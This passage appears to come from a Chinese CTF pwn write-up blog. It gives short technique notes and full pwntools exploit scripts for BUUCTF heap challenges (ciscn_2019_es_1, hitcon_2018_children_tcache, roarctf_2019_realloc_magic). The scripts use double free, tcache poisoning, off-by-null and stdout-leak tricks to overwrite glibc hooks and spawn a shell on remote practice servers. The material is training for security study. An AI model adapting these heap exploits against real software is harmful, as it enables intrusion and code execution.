    edit(0,len(payload),payload)
    add(0x60,"a"*0x20)
    payload = "a"*3 + p64(0x60) + p64(0x602018)
    add(0x60,payload)
    show()
    addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    libc_base = addr - libc.symbols['free']
    system = libc_base + libc.sym['system']
    log.success("libc_base==>" + hex(libc_base))
    log.success("system==>" + hex(system))

    payload = p64(system) + p64(libc_base + libc.sym['puts'])
    edit(0,len(payload),payload)
    free(2)

    p.interactive()
exp()

0x26 gyctf_2020_force

https://n0vice.top/2020/05/09/%E4%B8%80%E9%81%93%E9%A2%98%E5%AD%A6%E4%B9%A0house-of-force/index.html

0x27 ciscn_2019_es_1

经典double free + tcache attack

#!/usr/bin/env python
#coding=utf-8
from pwn import*
import sys
#context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './ciscn_2019_es_1' 
local = 0
if local == 1:
    p=process(binary)
else:
    p=remote("node3.buuoj.cn",26506)
elf=ELF(binary)
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size,name,call):
    p.recvuntil("choice:")
    p.sendline("1")
    p.recvuntil("name")
    p.sendline(str(size))
    p.recvuntil("name:")
    p.send(name)
    p.recvuntil("call:")
    p.send(call)
def show(index):
    p.recvuntil("choice:")
    p.sendline("2")
    p.recvuntil("index:")
    p.sendline(str(index))
def free(index):
    p.recvuntil("choice:")
    p.sendline("3")
    p.recvuntil("index:")
    p.sendline(str(index))

def exp():
    add(0x4f0,"a","b")
    add(0x20,"a","b")
    add(0x40,"/bin/sh","/bin/sh")
    free(0)
    show(0)
    puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    log.success("puts_addr==>" + hex(puts_addr))
    libc_base = puts_addr - 0x3ebca0
    log.success("libc_base==>" + hex(libc_base))
    free_hook = libc_base + libc.sym["__free_hook"]
    log.success("free_hook==>" + hex(free_hook))
    system = libc_base + libc.sym['system']
    log.success("system==>" + hex(system))
    free(1)
    free(1)
    add(0x20,p64(free_hook),"a")
    add(0x20,"a","b")
    add(0x20,p64(system),"a")
    free(2)
    #gdb.attach(p)

    p.interactive()
exp()

0x28 hitcon_2018_children_tcache

off by null + tcache attack

#!/usr/bin/env python
#coding=utf-8
from pwn import*
import sys
#context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './HITCON_2018_children_tcache' 
local = 0
if local == 1:
    p=process(binary)
else:
    p=remote("node3.buuoj.cn",29514)
elf=ELF(binary)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size,content):
    p.recvuntil("choice: ")
    p.sendline("1")
    p.recvuntil("Size:")
    p.sendline(str(size))
    p.recvuntil("Data:")
    p.send(content)
def show(index):
    p.recvuntil("choice: ")
    p.sendline("2")
    p.recvuntil("Index:")
    p.sendline(str(index))
def free(index):
    p.recvuntil("choice: ")
    p.sendline("3")
    p.recvuntil("Index:")
    p.sendline(str(index))
def exp():
    add(0x410,"a") # 0
    add(0x28,"a") # 1
    add(0x4f0,"a") # 2
    add(0x28,"a") # 3
    free(1)
    free(0)
    for i in range (0,9):
        add(0x28-i,'a'*(0x28-i))#0
        free(0)
    add(0x28,"a"*0x20+p64(0x450)) # 0
    free(2)
    add(0x410,"a") # 1
    show(0)
    addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    libc_base = addr - 0x3ebca0
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    free_hook = libc_base + libc.sym['__free_hook']
    system = libc_base + libc.sym['system']
    one = libc_base + 0x4f322
    log.success("libc_base==>" + hex(libc_base))
    log.success("malloc_hook==>" + hex(malloc_hook))
    log.success("free_hook==>" + hex(free_hook))
    log.success("system==>" + hex(system))

    add(0x28,"b") # 2
    free(2)
    free(0)

    add(0x28,p64(malloc_hook))
    add(0x28,"a")
    add(0x28,p64(one))
    p.interactive()
exp()

0x29 roarctf_2019_realloc_magic

利用uaf和chunk overlap改fd处的main_arena+96的后1.5字节,剩余0.5字节爆破,使其变成_IO_2_1_stdout_,然后改_IO_2_1_stdout_中的IO_write_base和flags泄露_IO_file_jumps函数地址,最后打free_hook为system
exp

#!/usr/bin/env python
#coding=utf-8
from pwn import*
import sys
#context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './roarctf_2019_realloc_magic' 
local = 0
if local == 1:
    p=process(binary)
else:
    p=remote("node3.buuoj.cn",25767)
elf=ELF(binary)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size,content):
    p.recvuntil(">> ")
    p.sendline("1")
    p.recvuntil("Size?")
    p.sendline(str(size))
    p.recvuntil("Content?")
    p.send(content)
def free():
    p.recvuntil(">> ")
    p.sendline("2")

def exp():
    add(0x70,"a")
    add(0,"")
    add(0x100,"a")
    add(0,"")
    add(0xa0,"a")
    add(0,"")
    add(0x100,"b")
    [free() for i in range(7)]
    add(0,"")
    add(0x70,"a")

    payload = "a"*0x78 + p64(0x41) + '\x60\x17'
    add(0x180,payload)
    add(0,"")
    add(0x100,"a")
    add(0,"")

    payload = p64(0xfbad1887)+p64(0)*3+p8(0x58)
    add(0x100,payload)
    puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    log.success("puts_addr==>" + hex(puts_addr))
    libc_base = puts_addr - 0x3e82a0
    log.success("libc_base==>" + hex(libc_base))
    system = libc_base + libc.sym['system']
    log.success("system==>" + hex(system))
    free_hook = libc_base + libc.sym['__free_hook']
    log.success("free_hook==>" + hex(free_hook))
    p.sendline("666")
    add(0x120,"a")
    add(0,"")
    add(0x130,"a")
    add(0,"")
    add(0x170,"a")
    add(0,"")
    add(0x130,"a")
    [free() for i in range(7)]
    add(0,"")
    add(0x120,"a")
    payload = "a" * 0x128 + p64(0x41) + p64(free_hook-8)
    add(0x260,payload)
    add(0,"")
    add(0x130,"a")
    add(0,"")
    payload = "/bin/sh\x00" + p64(system)
    add(0x130,payload)
    free()

    p.interactive()
if __name__ == "__main__":
    while True:
        p = remote("node3.buuoj.cn", 25767)
        try:
            exp()
        except:
            p.close()

0x30

咕咕咕……

您的鼓励将支持我继续努力!